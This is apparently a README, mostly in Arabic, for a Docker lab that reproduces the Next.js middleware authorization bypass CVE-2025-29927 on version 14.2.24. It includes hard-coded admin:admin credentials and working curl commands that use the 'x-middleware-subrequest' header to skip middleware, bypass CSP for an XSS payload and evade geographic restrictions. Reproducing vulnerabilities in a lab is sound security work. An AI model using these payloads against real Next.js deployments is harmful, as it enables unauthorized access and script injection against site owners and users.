
يعيد إنتاج تجاوز تفويض الوسيط CVE-2025-29927 في Next.js 14.2.24 ويوضح الاستغلال باستخدام curl لتجاوز المصادقة وقيود الوسيط.
تطبيق Next.js صغير وبسيط يعمل بالإصدار 14.2.24 يُستخدم لاختبار CVE-2025-29927.
قم بالوصول إلى المنطقة الإدارية (/admin) باستخدام الثغرة الأمنية أو بيانات الاعتماد المضمنة admin:admin.
» git clone [email protected]:0xPThree/next.js_cve-2025-29927.git
» docker build -t nextjs .
» docker run -d -p 3000:3000 --name nextjs nextjs
بالإضافة إلى تجاوز المصادقة الواضح، يمكن لهذه الثغرة الأمنية أيضًا:
# Middleware may be used to set CSP headers to prevent XSS. Bypass CSP to XSS:
curl -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" \
-H "Content-Type: text/html" --data "<script>alert('1')</script>" \
http://exploit.se
# Middleware may be used to restrict content by geographic location. Bypass geographic restrictions:
curl -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" \
-H "CF-IPCountry: SE" http://exploit.se/se-only-content
